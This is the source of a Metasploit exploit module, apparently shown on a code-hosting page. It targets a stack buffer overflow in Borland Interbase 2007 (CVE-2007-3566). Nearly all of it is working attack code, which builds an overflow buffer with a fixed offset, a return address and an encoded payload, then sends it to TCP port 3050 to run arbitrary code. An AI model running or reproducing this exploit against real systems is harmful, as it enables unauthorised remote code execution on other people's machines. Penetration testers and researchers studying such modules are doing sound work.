Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/borland_interbase.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Borland Interbase Create-Request Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Borland Interbase 2007.15By sending a specially crafted create-request packet, a remote16attacker may be able to execute arbitrary code.17},18'Author' => 'MC',19'References' =>20[21[ 'CVE', '2007-3566' ],22[ 'OSVDB', '38602' ],23[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-07-13' ],24],25'DefaultOptions' =>26{27'EXITFUNC' => 'thread',28'AllowWin32SEH' => true29},30'Payload' =>31{32'Space' => 850,33'BadChars' => "\x00",34'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",35'EncoderType' => Msf::Encoder::Type::AlphanumUpper,36},37'Platform' => 'win',38'Targets' =>39[40[ 'Windows 2000 English All / Borland InterBase 2007', { 'Offset' => 1266, 'Ret' => 0x1002e556 } ], # sanctuarylib.dll41],42'Privileged' => true,43'DefaultTarget' => 0,44'DisclosureDate' => '2007-07-24'))4546register_options([Opt::RPORT(3050)])47end4849def exploit50connect5152# Build the exploit buffer.... It's a biggie!53sploit = "\x00\x00\x00\x14" + "\x00\x00\x00\x13" + rand_text_alpha_upper(target['Offset'])54sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)55sploit << [target.ret].pack('V') + [0xe8, -850].pack('CV') + rand_text_alpha_upper(40000)5657print_status("Trying target #{target.name}...")58sock.put(sploit)5960handler61disconnect62end63end646566